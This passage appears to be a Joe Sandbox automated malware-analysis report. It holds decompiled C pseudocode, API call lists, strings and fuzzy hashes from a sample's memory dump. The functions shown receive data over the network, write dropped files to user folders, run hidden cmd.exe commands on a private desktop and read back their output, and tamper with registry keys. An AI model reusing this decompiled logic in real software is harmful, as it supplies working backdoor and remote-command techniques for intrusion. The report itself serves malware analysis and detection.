Part of subcall function 04A02AC0: LocalAlloc.KERNEL32(00000000,00000000,?,?,?,747582B0), ref: 04A02B55
Part of subcall function 04A02AC0: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,747582B0), ref: 04A02B6E
Part of subcall function 04A02AC0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,747582B0), ref: 04A02BA7
Part of subcall function 04A02AC0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,747582B0), ref: 04A02BCD
Part of subcall function 04A02AC0: LocalFree.KERNEL32(00000000,?,?,?,747582B0), ref: 04A02C0D
Part of subcall function 04A02AC0: CloseHandle.KERNEL32(00000000,?,?,747582B0), ref: 04A02C15

Strings

d06ed635, xrefs: 04A02CD9, 04A02D20, 04A02D3D

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: File$lstrcat$AttributesPrivateProfileStringlstrcpy$Writelstrlen$CountCreateLocalMoveTick$AllocCloseDirectoryFolderFreeHandlePathPointerReadSizewvsprintf
String ID: d06ed635
API String ID: 1323194908-745246866
Opcode ID: b4fa232de02e3b1a6101334336f2572ecbe0a7519e89eb41ce4f61a8b0d98aaf
Instruction ID: 6ede619b7b02b1164de263cd2bdca6e7f9689e0482c8365d42a65cc5979e8ee0
Opcode Fuzzy Hash: b4fa232de02e3b1a6101334336f2572ecbe0a7519e89eb41ce4f61a8b0d98aaf
Instruction Fuzzy Hash: 9DB1C3726043059FE720DF64EC84BAB77E8EB88354F404869F949D7190EB35AD47CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04A08C70 Relevance: 44.0, APIs: 23, Strings: 2, Instructions: 221
filestringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E04A08C70(intOrPtr __ecx, WCHAR* __edx, void* __eflags, long _a4, intOrPtr _a8, intOrPtr* _a12, void* _a16) {
				int _v0;
				short _v524;
				long _v528;
				long _v532;
				long _v536;
				void* _v540;
				int _v544;
				void _v548;
				void* _v552;
				intOrPtr* _t41;
				signed char _t52;
				signed char _t58;
				long _t59;
				signed int _t65;
				int _t68;
				signed int _t69;
				void* _t70;
				void* _t78;
				int _t79;
				void* _t86;
				long _t88;
				void* _t90;
				signed int _t93;
				int _t100;
				intOrPtr* _t101;
				void* _t103;
				int _t104;
				WCHAR* _t108;

				_t41 = _a16;
				_t101 = _a12;
				_t108 = __edx;
				_push(_t41);
				_t100 = 0;
				 *_t41 = 0;
				_push(_t101);
				_push( &_v536);
				_push( &_v532);
				_push( &_v540);
				if(E04A07CF0(__ecx,  &_v548) == 0) {
					L44:
					return _t100;
				} else {
					_t86 = _v548;
					if( *0x4a16c89 >= 0x2000) {
						if(ExpandEnvironmentStringsW( *0x4a16744, __edx, _a4) == 0) {
							 *_t101 = 0x6f;
						} else {
							goto L10;
						}
					} else {
						if(GetTempFileNameW(?str?, 0x4a0f2d8, 0,  &_v524) == 0) {
							L8:
							lstrcpynW(_t108, "C:\ProgramData\", _a4);
						} else {
							_v544 = 0;
							if(GetFileAttributesW( &_v524) != 0xffffffff) {
								DeleteFileW( &_v528);
							}
							_t78 = CreateFileW( &_v528, 0x40000000, 3, 0, 2, 0, 0);
							_v552 = _t78;
							if(_t78 == 0xffffffff) {
								goto L8;
							} else {
								_t79 = WriteFile(_t78,  &_v548, 4,  &_v532, 0);
								CloseHandle(_v552);
								if(_t79 == 0) {
									goto L8;
								} else {
									DeleteFileW( &_v528);
									lstrcpynW(_t108, "C:\Users\jones\AppData\LocalLow\", _v0);
								}
							}
						}
						L10:
						if(_a8 == _t100) {
							_push(_t86);
							goto L20;
						} else {
							_t65 = lstrlenW(_t108);
							E04A01290(GetTickCount(), _t66,  &(_t108[_t65]));
							if(_t86 != 0) {
								_t68 = lstrlenW(_t86);
								if(_t68 != 0) {
									_t69 = _t68 - 1;
									if(_t69 > 0) {
										while(1) {
											_t93 =  *(_t86 + _t69 * 2) & 0x0000ffff;
											if(_t93 == 0 || _t93 == 0x2e) {
												goto L17;
											}
											_t69 = _t69 - 1;
											if(_t69 > 0) {
												continue;
											}
											goto L17;
										}
									}
									L17:
									_t70 = _t86 + _t69 * 2;
									if(_t70 != 0) {
										_push(_t70);
										L20:
										lstrcatW(_t108, ??);
									}
								}
							}
						}
						_t52 = GetFileAttributesW(_t108);
						if(_t52 == 0xffffffff || (_t52 & 0x00000010) != 0) {
							if(GetFileAttributesW(_t108) != 0xffffffff) {
								DeleteFileW(_t108);
							}
							_t103 = CreateFileW(_t108, 0x40000000, 3, 0, 2, 0, 0);
							_v548 = _t103;
							if(_t103 == 0xffffffff) {
								L37:
								 *_a16 = GetLastError();
							} else {
								_t90 = _v540;
								if(_t90 == 0) {
									L31:
									_t104 = 1;
								} else {
									_t59 = _v536;
									if(_t59 == 0) {
										goto L31;
									} else {
										_t104 = WriteFile(_t103, _t90, _t59,  &_v528, 0);
										if(_t104 == 0) {
											 *_a16 = GetLastError();
										}
									}
								}
								CloseHandle(_v548);
								if(_t104 != 0) {
									_t58 = GetFileAttributesW(_t108);
									if(_t58 == 0xffffffff || (_t58 & 0x00000010) != 0) {
										_t100 = 0;
										goto L37;
									} else {
										_t100 = 1;
									}
								}
							}
						} else {
							_t100 = 0;
							 *_a12 = 0xde;
							 *_a16 = 0xb7;
						}
					}
					if(_t86 == 0) {
						goto L44;
					} else {
						_t88 = _v532;
						if(_t88 == 0) {
							goto L44;
						} else {
							if(_t88 <= 0x1000) {
								LocalFree(_t86);
								goto L44;
							} else {
								VirtualFree(_t86, 0, 0x8000);
								return _t100;
							}
						}
					}
				}
			}

0x04a08c70
0x04a08c7d
0x04a08c84
0x04a08c87
0x04a08c88
0x04a08c8e
0x04a08c94
0x04a08c95
0x04a08c9a
0x04a08c9f
0x04a08caa
0x04a08f10
0x04a08f1c
0x04a08cb0
0x04a08cba
0x04a08cbe
0x04a08d95
0x04a08ed4
0x00000000
0x00000000
0x00000000
0x04a08cc4
0x04a08cdc
0x04a08d6a
0x04a08d77
0x04a08ce2
0x04a08ce6
0x04a08cf5
0x04a08cfc
0x04a08cfc
0x04a08d16
0x04a08d1c
0x04a08d23
0x00000000
0x04a08d25
0x04a08d34
0x04a08d40
0x04a08d48
0x00000000
0x04a08d4a
0x04a08d4f
0x04a08d62
0x04a08d62
0x04a08d48
0x04a08d23
0x04a08d9b
0x04a08da2
0x04a08df4
0x00000000
0x04a08da4
0x04a08da5
0x04a08dbe
0x04a08dc5
0x04a08dc8
0x04a08dd0
0x04a08dd2
0x04a08dd5
0x04a08dd7
0x04a08dd7
0x04a08dde
0x00000000
0x00000000
0x04a08de5
0x04a08de8
0x00000000
0x00000000
0x00000000
0x04a08de8
0x04a08dd7
0x04a08dea
0x04a08dea
0x04a08def
0x04a08df1
0x04a08df5
0x04a08df6
0x04a08df6
0x04a08def
0x04a08dd0
0x04a08dc5
0x04a08e03
0x04a08e08
0x04a08e35
0x04a08e38
0x04a08e38
0x04a08e54
0x04a08e56
0x04a08e5d
0x04a08ec3
0x04a08ed0
0x04a08e5f
0x04a08e5f
0x04a08e65
0x04a08e96
0x04a08e96
0x04a08e67
0x04a08e67
0x04a08e6d
0x00000000
0x04a08e6f
0x04a08e7f
0x04a08e83
0x04a08e92
0x04a08e92
0x04a08e83
0x04a08e6d
0x04a08e9f
0x04a08ea7
0x04a08eaf
0x04a08eb4
0x04a08ec1
0x00000000
0x04a08eba
0x04a08eba
0x04a08eba
0x04a08eb4
0x04a08ea7
0x04a08e0e
0x04a08e15
0x04a08e17
0x04a08e24
0x04a08e24
0x04a08e08
0x04a08edc
0x00000000
0x04a08ede
0x04a08ede
0x04a08ee4
0x00000000
0x04a08ee6
0x04a08eec
0x04a08f0a
0x00000000
0x04a08eee
0x04a08ef6
0x04a08f08
0x04a08f08
0x04a08eec
0x04a08ee4
0x04a08edc

APIs

Part of subcall function 04A07CF0: select.WS2_32(?,?), ref: 04A07D31
Part of subcall function 04A07CF0: recv.WS2_32(?,?,00000004,00000000), ref: 04A07D45
Part of subcall function 04A07CF0: select.WS2_32 ref: 04A07D92
Part of subcall function 04A07CF0: recv.WS2_32(?,?,00000004,00000000), ref: 04A07DA6
Part of subcall function 04A07CF0: VirtualAlloc.KERNEL32(00000004,?,00003000,00000004,?,?,00000004,00000000), ref: 04A07DDC

GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,04A0F2D8,00000000,?,?,?,?,?), ref: 04A08CD4
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 04A08CFC
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 04A08D16
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?), ref: 04A08D34
CloseHandle.KERNEL32(?,?,?,?,?), ref: 04A08D40
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 04A08D4F
lstrcpynW.KERNEL32(?,C:\Users\user\AppData\LocalLow\,?,?,?,?,?), ref: 04A08D62
lstrcpynW.KERNEL32(?,C:\ProgramData\,?,?,?,?,?), ref: 04A08D77
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,?), ref: 04A08D8D
lstrlenW.KERNEL32(?,?,?,?,?), ref: 04A08DA5
GetTickCount.KERNEL32 ref: 04A08DB4
lstrlenW.KERNEL32(?,?,?,?,?), ref: 04A08DC8
lstrcatW.KERNEL32(?,?), ref: 04A08DF6
GetFileAttributesW.KERNEL32(?,?,?,?,?), ref: 04A08E03
GetFileAttributesW.KERNEL32(?,?,?,?,?), ref: 04A08E30
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 04A08E38
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 04A08E4E
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,?), ref: 04A08E79
GetLastError.KERNEL32(?,?,?,?), ref: 04A08E85
CloseHandle.KERNEL32(?,?,?,?,?), ref: 04A08E9F
GetLastError.KERNEL32(?,?,?,?), ref: 04A08EC3
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?), ref: 04A08EF6
LocalFree.KERNEL32(?,?,?,?,?), ref: 04A08F0A

Strings

C:\ProgramData\, xrefs: 04A08D71
C:\Users\user\AppData\LocalLow\, xrefs: 04A08CCF, 04A08D5C

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: File$Delete$AttributesCloseCreateErrorFreeHandleLastVirtualWritelstrcpynlstrlenrecvselect$AllocCountEnvironmentExpandLocalNameStringsTempTicklstrcat
String ID: C:\ProgramData\$C:\Users\user\AppData\LocalLow\
API String ID: 1598320495-4239768344
Opcode ID: 977f0969545ed15fa49fc43949f76f03ef018adec3066cd22d7c34bd89b083ea
Instruction ID: bde872587200548dced3b3821d7be34949cf79ee1b4a2bf6601acd4d3a986815
Opcode Fuzzy Hash: 977f0969545ed15fa49fc43949f76f03ef018adec3066cd22d7c34bd89b083ea
Instruction Fuzzy Hash: 3571E631601311AFD730AF24EC48B6B77A8EB98710F044A1DFA56E61D0EBBCF9468B55

Uniqueness

Uniqueness Score: -1.00%

Function 04A03EC0 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 179
stringfileprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A03EC0(WCHAR* __ecx, intOrPtr* __edx) {
				short _v1026;
				short _v1028;
				short _v1548;
				struct _STARTUPINFOW _v1620;
				struct _PROCESS_INFORMATION _v1636;
				intOrPtr* _v1640;
				long _v1644;
				void* _t62;
				void* _t63;
				long _t79;
				int _t84;
				intOrPtr* _t85;
				long _t86;
				CHAR* _t89;
				void* _t92;
				WCHAR* _t93;

				_t89 = 0;
				_t85 = __edx;
				_v1640 = __edx;
				_t93 = __ecx;
				_v1644 = 0;
				if(GetTempFileNameW(?str?, 0, 0,  &_v1548) != 0) {
					L3:
					_v1028 = 0x22;
					lstrcpyW( &_v1026, "C:\Windows\system32\cmd.exe");
					lstrcatW( &_v1028,  *0x4a16800);
					lstrcatW( &_v1028, _t93);
					lstrcatW( &_v1028,  *0x4a16804);
					lstrcatW( &_v1028,  &_v1548);
					lstrcatW( &_v1028,  *0x4a16808);
					E04A010D0( &_v1620, 0, 0x44);
					_v1620.cb = 0x44;
					_v1620.wShowWindow = 0;
					_v1620.lpDesktop = L"d06ed635";
					_v1620.dwFlags = 1;
					E04A010D0( &_v1620, 0, 0x44);
					if(CreateProcessW(0,  &_v1028, 0, 0, 1, 0, 0, 0,  &_v1620,  &_v1636) == 0) {
						L18:
						 *_t85 = 0;
						return _t89;
					} else {
						_t62 = _v1636.hProcess;
						if(_t62 != 0) {
							WaitForSingleObject(_t62, 0x2710);
							CloseHandle(_v1636);
						}
						_t63 = _v1636.hThread;
						if(_t63 != 0) {
							CloseHandle(_t63);
						}
						_t92 = CreateFileW( &_v1548, 0x80000000, 0, 0, 3, 0, 0);
						if(_t92 != 0xffffffff) {
							_t86 = GetFileSize(_t92, 0);
							if(_t86 != 0) {
								_t26 = _t86 + 8; // 0x8
								_t89 = LocalAlloc(0x40, _t26);
								if(_t89 != 0) {
									if(ReadFile(_t92, _t89, _t86,  &_v1644, 0) == 0) {
										L13:
										LocalFree(_t89);
										_t79 = _v1644;
										_t89 = 0;
									} else {
										_t79 = _v1644;
										if(_t79 != _t86) {
											goto L13;
										}
									}
									 *((intOrPtr*)(_t79 + _t89 - 2)) = 0xa0d;
								}
							}
							CloseHandle(_t92);
							_t85 = _v1640;
						}
						DeleteFileW( &_v1548);
						if(_t89 == 0) {
							goto L18;
						} else {
							OemToCharA(_t89, _t89);
							 *_t85 = _v1644 + 2;
							return _t89;
						}
					}
				} else {
					_t84 = GetTempFileNameW("C:\ProgramData\", 0, 0,  &_v1548);
					if(_t84 != 0) {
						goto L3;
					} else {
						return _t84;
					}
				}
			}

0x04a03ed5
0x04a03ed7
0x04a03ee0
0x04a03ee4
0x04a03ee6
0x04a03eee
0x04a03f0d
0x04a03f12
0x04a03f27
0x04a03f41
0x04a03f4c
0x04a03f5c
0x04a03f6b
0x04a03f7b
0x04a03f86
0x04a03f8d
0x04a03f98
0x04a03fa2
0x04a03faa
0x04a03fb2
0x04a03fe2
0x04a040bd
0x04a040bf
0x04a040cd
0x04a03fe8
0x04a03fe8
0x04a03ff4
0x04a03ffc
0x04a04006
0x04a04006
0x04a04008
0x04a0400e
0x04a04011
0x04a04011
0x04a04030
0x04a04035
0x04a04040
0x04a04044
0x04a04046
0x04a04052
0x04a04056
0x04a0406a
0x04a04074
0x04a04075
0x04a0407b
0x04a0407f
0x04a0406c
0x04a0406c
0x04a04072
0x00000000
0x00000000
0x04a04072
0x04a04081
0x04a04081
0x04a04056
0x04a0408a
0x04a0408c
0x04a0408c
0x04a04095
0x04a0409d
0x00000000
0x04a0409f
0x04a040a1
0x04a040ae
0x04a040bc
0x04a040bc
0x04a0409d
0x04a03ef0
0x04a03efc
0x04a03f00
0x00000000
0x04a03f0c
0x04a03f0c
0x04a03f0c
0x04a03f00

APIs

GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,00000000,00000000,?), ref: 04A03EEA
GetTempFileNameW.KERNEL32(C:\ProgramData\,00000000,00000000,?), ref: 04A03EFC
lstrcpyW.KERNEL32 ref: 04A03F27
lstrcatW.KERNEL32(?), ref: 04A03F41
lstrcatW.KERNEL32(?,?), ref: 04A03F4C
lstrcatW.KERNEL32(?), ref: 04A03F5C
lstrcatW.KERNEL32(?,?), ref: 04A03F6B
lstrcatW.KERNEL32(?), ref: 04A03F7B
CreateProcessW.KERNEL32 ref: 04A03FDA
WaitForSingleObject.KERNEL32(?,00002710), ref: 04A03FFC
CloseHandle.KERNEL32(?), ref: 04A04006
CloseHandle.KERNEL32(?), ref: 04A04011
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 04A0402A
GetFileSize.KERNEL32(00000000,00000000), ref: 04A0403A
LocalAlloc.KERNEL32(00000040,00000008), ref: 04A0404C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 04A04062
LocalFree.KERNEL32(00000000), ref: 04A04075
CloseHandle.KERNEL32(00000000), ref: 04A0408A
DeleteFileW.KERNEL32(?), ref: 04A04095
OemToCharA.USER32 ref: 04A040A1

Strings

C:\ProgramData\, xrefs: 04A03EF7
C:\Users\user\AppData\LocalLow\, xrefs: 04A03EDB
D, xrefs: 04A03F8D
C:\Windows\system32\cmd.exe, xrefs: 04A03F21
d06ed635, xrefs: 04A03FA2

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: File$lstrcat$CloseHandle$CreateLocalNameTemp$AllocCharDeleteFreeObjectProcessReadSingleSizeWaitlstrcpy
String ID: C:\ProgramData\$C:\Users\user\AppData\LocalLow\$C:\Windows\system32\cmd.exe$D$d06ed635
API String ID: 920810582-1501115445
Opcode ID: c46ee2209070e8240bb992ed7aa46e26bf7e0273b6adbc6739170ab54cc80be3
Instruction ID: fc8ded0b184ae5710926dcc1f3f74ba10c4646642f192d77bd3e8cdeaa473ec3
Opcode Fuzzy Hash: c46ee2209070e8240bb992ed7aa46e26bf7e0273b6adbc6739170ab54cc80be3
Instruction Fuzzy Hash: 2A518072604345ABE730DF65DC49F9B7BECEB88710F004829F758E6180D679E94A8B62

Uniqueness

Uniqueness Score: -1.00%

Function 04A01A90 Relevance: 40.7, APIs: 27, Instructions: 216
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E04A01A90(char* __ecx) {
				char _v100;
				void* _v104;
				void* _v108;
				struct HWND__* _t23;
				struct HWND__* _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				struct HWND__* _t28;
				struct HWND__* _t29;
				char* _t31;
				char* _t35;
				char* _t41;
				long _t43;
				char* _t47;
				struct HWND__* _t53;
				struct HWND__* _t54;
				char* _t55;
				int _t56;
				void* _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				char* _t63;
				int _t66;

				_t56 = 0;
				_t63 = __ecx;
				while(1) {
					_t23 = FindWindowW( *0x4a167c8,  *0x4a167cc);
					 *0x4a16398 = _t23;
					if(_t23 != 0 || _t63 == 0) {
						break;
					}
					Sleep(0x1f4);
					_t56 = _t56 + 1;
					if(_t56 < 0xa) {
						continue;
					}
					_t23 =  *0x4a16398; // 0x0
					break;
				}
				_t57 = 0;
				asm("o16 nop [eax+eax]");
				while(1) {
					_t24 = FindWindowExW(_t23, 0,  *0x4a167d0, 0);
					_v104 = _t24;
					if(_t24 != 0) {
						break;
					}
					if(_t63 == 0) {
						L14:
						 *0x4a163b4 = 0;
						_t59 = 0;
						__eflags = 0;
						while(1) {
							_t26 = FindWindowW( *0x4a167ac, 0);
							 *0x4a163b4 = _t26;
							__eflags = _t26;
							if(_t26 != 0) {
								break;
							}
							__eflags = _t63;
							if(_t63 == 0) {
								L20:
								_t60 = 0;
								__eflags = 0;
								do {
									_t28 = FindWindowW( *0x4a167d8, 0);
									__eflags = _t28;
									if(_t28 == 0) {
										L26:
										 *0x4a163a0 = 0;
										L27:
										__eflags = _t63;
										if(_t63 == 0) {
											break;
										}
										goto L28;
									}
									_t53 = FindWindowExW(_t28, 0,  *0x4a167dc, 0);
									__eflags = _t53;
									if(_t53 == 0) {
										goto L26;
									}
									_t54 = FindWindowExW(_t53, 0,  *0x4a167e0, 0);
									__eflags = _t54;
									if(_t54 == 0) {
										goto L26;
									}
									_t55 = FindWindowExW(_t54, 0,  *0x4a167e4, 0);
									 *0x4a163a0 = _t55;
									__eflags = _t55;
									if(_t55 != 0) {
										break;
									}
									goto L27;
									L28:
									Sleep(0x1f4);
									_t60 = _t60 + 1;
									__eflags = _t60 - 0xa;
								} while (_t60 < 0xa);
								_t29 =  *0x4a16398; // 0x0
								__eflags = _t29;
								if(_t29 != 0) {
									PostMessageA(_t29, 0x1a, 0,  *0x4a16b10);
								}
								__eflags =  *0x4a17730;
								if( *0x4a17730 == 0) {
									_t47 = RegOpenKeyExA(0x80000001,  *0x4a16b7c, 0, 0xf003f,  &_v108);
									__eflags = _t47;
									if(_t47 == 0) {
										_v104 = 0x14;
										RegQueryValueA(_v108, 0, 0x4a17730,  &_v104);
										RegSetValueA(_v108, 0, 1,  *0x4a16b84, 0);
										RegCloseKey(_v108);
									}
								}
								_t31 = RegOpenKeyExA(0x80000001,  *0x4a16b80, 0, 0xf003f,  &_v108);
								__eflags = _t31;
								if(_t31 != 0) {
									L41:
									__eflags =  *0x4a16398; // 0x0
									_t22 = __eflags != 0;
									__eflags = _t22;
									return 0 | _t22;
								} else {
									_t66 = 0;
									_t35 = RegEnumKeyA(_v108, 0,  &_v100, 0x64);
									__eflags = _t35;
									if(_t35 != 0) {
										L40:
										RegCloseKey(_v108);
										goto L41;
									}
									do {
										lstrcatA( &_v100,  *0x4a16b88);
										_t41 = RegOpenKeyExA(_v108,  &_v100, 0, 0xf003f,  &_v104);
										__eflags = _t41;
										if(_t41 == 0) {
											RegSetValueA(_v104, _t41, 1, 0x4a0f2da, _t41);
											RegCloseKey(_v104);
										}
										_t66 = _t66 + 1;
										_t43 = RegEnumKeyA(_v108, _t66,  &_v100, 0x64);
										__eflags = _t43;
									} while (_t43 == 0);
									goto L40;
								}
							}
							Sleep(0x1f4);
							_t59 = _t59 + 1;
							__eflags = _t59 - 0xa;
							if(_t59 < 0xa) {
								continue;
							}
							goto L20;
						}
						GetWindowRect(_t26, 0x4a163a4);
						goto L20;
					}
					Sleep(0x1f4);
					_t57 = _t57 + 1;
					if(_t57 >= 0xa) {
						goto L14;
					}
					_t23 =  *0x4a16398; // 0x0
				}
				_t58 = 0;
				__eflags = 0;
				while(1) {
					_t25 = FindWindowExW(_t24, 0,  *0x4a167a8,  *0x4a167d4);
					 *0x4a1639c = _t25;
					__eflags = _t25;
					if(_t25 != 0) {
						goto L14;
					}
					__eflags = _t63;
					if(_t63 == 0) {
						goto L14;
					}
					Sleep(0x1f4);
					_t24 = _v104;
					_t58 = _t58 + 1;
					__eflags = _t58 - 0xa;
					if(_t58 < 0xa) {
						continue;
					}
					goto L14;
				}
				goto L14;
			}

0x04a01a9c
0x04a01a9f
0x04a01aa1
0x04a01aad
0x04a01ab3
0x04a01aba
0x00000000
0x00000000
0x04a01ac5
0x04a01ac7
0x04a01acb
0x00000000
0x00000000
0x04a01acd
0x00000000
0x04a01acd
0x04a01ad8
0x04a01ada
0x04a01ae0
0x04a01aeb
0x04a01aed
0x04a01af3
0x00000000
0x00000000
0x04a01af7
0x04a01b3f
0x04a01b3f
0x04a01b49
0x04a01b49
0x04a01b50
0x04a01b58
0x04a01b5e
0x04a01b63
0x04a01b65
0x00000000
0x00000000
0x04a01b67
0x04a01b69
0x04a01b86
0x04a01b86
0x04a01b86
0x04a01b90
0x04a01b98
0x04a01b9e
0x04a01ba0
0x04a01bdc
0x04a01bdc
0x04a01be6
0x04a01be6
0x04a01be8
0x00000000
0x00000000
0x00000000
0x04a01be8
0x04a01bad
0x04a01baf
0x04a01bb1
0x00000000
0x00000000
0x04a01bbe
0x04a01bc0
0x04a01bc2
0x00000000
0x00000000
0x04a01bcf
0x04a01bd1
0x04a01bd6
0x04a01bd8
0x00000000
0x00000000
0x00000000
0x04a01bea
0x04a01bef
0x04a01bf1
0x04a01bf2
0x04a01bf2
0x04a01bf7
0x04a01bfc
0x04a01bfe
0x04a01c0b
0x04a01c0b
0x04a01c11
0x04a01c24
0x04a01c3d
0x04a01c43
0x04a01c45
0x04a01c4b
0x04a01c5f
0x04a01c75
0x04a01c7b
0x04a01c7b
0x04a01c45
0x04a01c94
0x04a01c9a
0x04a01c9c
0x04a01d1f
0x04a01d21
0x04a01d29
0x04a01d29
0x04a01d30
0x04a01ca2
0x04a01caf
0x04a01cb6
0x04a01cb8
0x04a01cba
0x04a01d18
0x04a01d1c
0x00000000
0x04a01d1c
0x04a01cc0
0x04a01ccb
0x04a01ce6
0x04a01cec
0x04a01cee
0x04a01cfd
0x04a01d03
0x04a01d03
0x04a01d0b
0x04a01d12
0x04a01d14
0x04a01d14
0x00000000
0x04a01cc0
0x04a01c9c
0x04a01b70
0x04a01b72
0x04a01b73
0x04a01b76
0x00000000
0x00000000
0x00000000
0x04a01b78
0x04a01b80
0x00000000
0x04a01b80
0x04a01afe
0x04a01b00
0x04a01b04
0x00000000
0x00000000
0x04a01b06
0x04a01b06
0x04a01b0d
0x04a01b0d
0x04a01b10
0x04a01b1f
0x04a01b21
0x04a01b26
0x04a01b28
0x00000000
0x00000000
0x04a01b2a
0x04a01b2c
0x00000000
0x00000000
0x04a01b33
0x04a01b35
0x04a01b39
0x04a01b3a
0x04a01b3d
0x00000000
0x00000000
0x00000000
0x04a01b3d
0x00000000

APIs

FindWindowW.USER32 ref: 04A01AAD
Sleep.KERNEL32(000001F4), ref: 04A01AC5
FindWindowExW.USER32(00000000,00000000,00000000), ref: 04A01AEB
Sleep.KERNEL32(000001F4), ref: 04A01AFE
FindWindowExW.USER32(00000000,00000000), ref: 04A01B1F
Sleep.KERNEL32(000001F4), ref: 04A01B33
FindWindowW.USER32(00000000), ref: 04A01B58
Sleep.KERNEL32(000001F4), ref: 04A01B70
GetWindowRect.USER32 ref: 04A01B80
FindWindowW.USER32(00000000), ref: 04A01B98
FindWindowExW.USER32(00000000,00000000,00000000), ref: 04A01BAD
FindWindowExW.USER32(00000000,00000000,00000000), ref: 04A01BBE
FindWindowExW.USER32(00000000,00000000,00000000), ref: 04A01BCF
Sleep.KERNEL32(000001F4), ref: 04A01BEF
PostMessageA.USER32 ref: 04A01C0B
RegOpenKeyExA.ADVAPI32(80000001,00000000,000F003F,?), ref: 04A01C3D
RegQueryValueA.ADVAPI32(?,00000000,04A17730,?), ref: 04A01C5F
RegSetValueA.ADVAPI32(?,00000000,00000001,00000000), ref: 04A01C75
RegCloseKey.ADVAPI32(?), ref: 04A01C7B
RegOpenKeyExA.ADVAPI32(80000001,00000000,000F003F,?), ref: 04A01C94
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000064), ref: 04A01CB6
lstrcatA.KERNEL32(?), ref: 04A01CCB
RegOpenKeyExA.ADVAPI32(?,?,00000000,000F003F,?), ref: 04A01CE6
RegSetValueA.ADVAPI32(?,00000000,00000001,04A0F2DA,00000000), ref: 04A01CFD
RegCloseKey.ADVAPI32(?), ref: 04A01D03
RegEnumKeyA.ADVAPI32(00000001,00000001,?,00000064), ref: 04A01D12
RegCloseKey.ADVAPI32(?), ref: 04A01D1C

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Window$Find$Sleep$CloseOpenValue$Enum$MessagePostQueryRectlstrcat
String ID:
API String ID: 2684576211-0
Opcode ID: eb950ae7a9992373abfee50ca10785d150c1bdba934480ab21847d833f408c56
Instruction ID: 1843eaf9f37aa802f1e8cf2b18a8fd316fcb11b4d284d4a866f9cfbf41163383
Opcode Fuzzy Hash: eb950ae7a9992373abfee50ca10785d150c1bdba934480ab21847d833f408c56
Instruction Fuzzy Hash: 3561D574244302AFE7219F60FC45FA67BA9FB64744F044418F600E60E0E7BAEC56DB11

Uniqueness

Uniqueness Score: -1.00%

Function 04A04C0F Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 178
clipboardstringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E04A04C0F(long __edi, signed int _a24, long _a124, intOrPtr _a128, char _a248, char _a352, intOrPtr _a2012) {
				int _t19;
				void* _t47;
